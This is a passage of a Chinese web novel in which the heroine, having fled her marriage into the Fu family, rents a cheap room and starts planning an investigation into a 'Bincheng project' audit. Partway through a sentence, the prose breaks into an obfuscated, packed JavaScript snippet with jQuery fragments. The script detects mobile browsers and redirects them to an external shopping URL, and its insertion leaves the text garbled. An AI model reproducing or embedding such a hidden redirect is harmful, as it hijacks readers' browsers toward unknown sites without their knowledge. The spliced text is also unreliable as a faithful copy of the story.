雨停了半个多小时，苏晚晚身上的衣服才干了个大概。湿透的布料贴在皮肤上，每走一步都带着黏腻的触感，像被什么东西裹住了。她终于在一座公交站台前停下，看着路面积水慢慢消退，街道两旁的店铺陆续亮起招牌灯，暖黄色和冷白色的光在湿漉漉的柏油路上交织成一片破碎的调色盘。
一个穿灰色围裙的中年女人从街对面的小饭店走出来，手里端着一杯冒热气的水，站在门口看了她几秒，然后跨过马路走过来。“姑娘，站了这么久，喝杯热水吧。”她把杯子递过来，杯壁上挂着水珠，是玻璃杯，烫手。
苏晚晚接过来，指尖碰到杯壁的时候被烫了一下，缩了一下，又握住。“谢谢。”
“找地方住？”
“嗯。”
“前面建设路那边有个老小区，一楼有间屋子贴着出租，房东姓刘，六十多岁的老太太，好说话。”女人指了指巷子深处，“往那边走，第三个路口右拐。”
苏晚晚握着那杯热水喝了一口，滚烫的液体沿着喉咙滑下去，驱散了一点胸口里的凉气。她把杯子还给女人，说了声谢谢，往她指的方向走过去。
建设路七号院，招牌歪了，铁门上挂着锁，锁芯生锈了，钥匙插进去要转两圈才能拧开。苏晚晚站在门口试了五六次，最终把锁打开了，推开铁门走进去，是一个窄长的院子，水泥地面有几道裂缝，墙角长了一丛野草。院子尽头是一排平房，最靠左边的那间窗户上贴着一张打印纸，写着“出租”两个大字，下面留了一个手机号。
她掏出手机拨过去，响了三声通了，对面传来一个沙哑的女声：“看房？”
“看房。”
“我在楼上，你等一下。”
过了一会儿，三楼的窗户推开，一个花白头发的脑袋探出来，看了苏晚晚一眼，又缩回去。又过了一会儿，楼下的防盗门开了，一个穿着碎花棉绸衫的老太太走出来，手里拎着一串钥匙。她打量了苏晚晚一遍——从上到下，目光没有恶意，也没有多余的同情，只是扫了一遍。
“就你一个人住？”
“一个人。”
“租多久？”
“先租一个月。”
老太太点点头，走到最左边那间平房门口，挑出一把钥匙，捅进锁孔，一转，门开了。门推开的时候有一股淡淡的霉味涌出来，像是长时间没通风的老木柜的气味。房间不大，大概十五个平方，一张木板床，一张旧书桌，一把折叠椅，墙角立着一个简易衣柜，布面的，拉链半开着，里面空荡荡的。窗户朝北，窗外是一堵灰扑扑的围墙，墙根长了一排细瘦的竹子，被雨淋过，叶片垂着，像是刚从水里捞出来的。
“一个月八百，水电另算，押一付一。”老太太站在门口，没有进来，“被子枕头自己买，我不管这些。”
苏晚晚点了点头，从帆布袋里掏出钱包，数了十六张红票子递过去。老太太接过来数了一遍，从兜里掏出一张皱巴巴的收据写完递给她，又给了她一把新配的钥匙。
“隔壁住了个修空调的，晚上有时候会回来得晚，声音大你忍忍。别往院子里乱扔垃圾，垃圾扔巷口那个绿色桶里。有事打我电话，白天我在楼上。”
“好。”
老太太走了。铁门关上的声音在院子里回荡了一下，然后安静下来。
苏晚晚把门关上，插好插销，站在房间中央环顾了一圈。木板床上的床垫露着海绵，边角磨破了一块，露出底下的弹簧。她伸手按了按，海绵的回弹性还在，但已经不够密实了。窗帘是那种最便宜的浅绿色化纤布，边缘已经开始抽丝。
她拉开帆布袋，把那件白裙子拿出来，挂进简易衣柜里。然后拿起那个菜谱笔记本，放在书桌上，拉好窗帘，坐下来。
窗帘太薄，路灯的光透过来，把整个房间染成一种昏暗的橘黄色。
苏晚晚坐在折叠椅上，在那种昏暗的光线里，开始整理自己的思路。她用手机备忘录新建了一个文档，标题打在空白栏里，删了又打，打了又删，最后只留了两个字：“计划。”
她又看了一眼帆布袋里那个崭新的记事簿。但手机备忘录的手感更熟悉，指尖在玻璃屏幕上滑动，没有纸页的声响，没有笔尖的触感，但她更习惯这种——三年来，在傅家失眠的凌晨，她就是这么记东西的，屏幕亮度调到最低，侧躺着，在被子里打字。
手指顿了顿，把备忘录暂时搁下了。
她打开手机图库，翻到一张她趁傅衍之睡着时拍的电脑屏幕——他在书房的MacBook上处理文件，她去送夜宵的时候瞥了一眼屏幕边缘的一个文件夹名：“滨城项目·财务审计·补充说明”。
她只瞥了三秒钟。但在那三秒里，她记住了那个文件夹的路径：磁盘/傅氏集团/Bincheng/Bincheng_Audit_Supp_2005。
当时她的心跳很快，但脸上什么也没露出来。她把装着橙汁的杯子放在桌上，轻声说“别太晚”，然后转身走出去。走到门口的时候余光扫到傅衍之的手指在触摸板上快速滑动，关掉了那个文件夹，打开了另一份无关的文档。
她记住了。
现在她把那张“截图”从脑海里调出来，在备忘录里打下一行字：“滨城项目·补充说明(2005)·刘启明签署·傅正清牵头。”
然后又打了一行：“刘启明，赵敏，黄浦区，新城路23号。”
她关掉备忘录，抬头看了一会儿窗外的那堵围墙。围墙上的水泥已经剥落了一大片，露出底下的红砖，砖缝里长着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741833|209111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
青苔。路灯的光从围墙上方照过来，在墙面上投下一道斜斜的光影。
她站起来，走到窗户前，推开窗户。夜风裹着雨后潮湿的空气涌进来，带着泥土和青草的气味。围墙外面的巷子里有一盏快要坏掉的路灯，灯泡闪了几下，灭了，然后又亮了，像在替这个晚上数着什么。她站了一会儿，关上窗户，拉好窗帘，回到书桌前坐下。
手机屏幕亮了一下——一条短信，陌生号码。
“你老公在找你。他以为你回苏家了。——好心人。”
没有落款，没有称呼。苏晚晚看着那行字，面无表情地锁了屏幕。
她拿起那个菜谱笔记本，翻开第一页，在空白的那一页上写了一行字：
“第二天。九十九分之一。”
她把笔记本合上，放在枕头底下。
躺下来的时候，床垫的弹簧发出一声沉闷的声响。她侧过身，面朝窗户，窗帘的缝隙渗进来一丝路灯的光线，落在天花板上，像一道金色的、细长的河流。她看着那道光线，直到眼睛发酸，然后闭上了眼。
睡意来得很慢。她数着自己的呼吸，从一数到一百，又从一百倒回到一。数到第三轮的时候，她感觉到某种像是平静的东西慢慢从腹部升起来，扩散到四肢。三年了，第一次在一个没有傅衍之、没有林婉儿、没有“傅太太”这个身份的地方过夜。
她想起那顶没织完的婴儿帽——奶白色的毛线，起球的纹理，被她压在抽屉最底下。手指无意识地蜷缩了一下，像是在某个黑暗的角落里攥住了什么。
她翻了个身，把脸埋进枕头里。枕头有一股淡淡的洗衣粉气味，是房东老太太用的那种最便宜的老牌子。她闻着那股气味，慢慢地睡着了。
凌晨两点，她醒了。不是被吵醒的，是那种毫无征兆的、突然睁开眼睛的清醒。房间里还是暗的，路灯的光从窗帘缝隙渗进来，在地板上拉出一道银白色的条纹。她坐起来，拿起手机，打开备忘录，在“计划”下面又加了一行字：
“1. 去沪城，找到刘启明存放的东西。”
她停了一下，又在第二行写下：
“2. 搞清楚1998年滨城到底发生了什么。”
然后她放下手机，抱着膝盖在黑暗中坐了很久。窗外传来汽车驶过积水的声响，轮胎碾过湿漉漉的柏油路，发出一声被拉长的、像叹息一样的声音。她听着那声音慢慢远去，没有重新躺下。
她拿起那个菜谱笔记本，打开第一页。台灯的光照亮纸面，她在那行“第二天。九十九分之一”下面，又写了一行：“退一步，是为了更稳地踩下去。”
笔尖在纸面上停了一下，然后她合上笔记本，重新塞回枕头底下。
天快亮的时候，她终于又睡着了。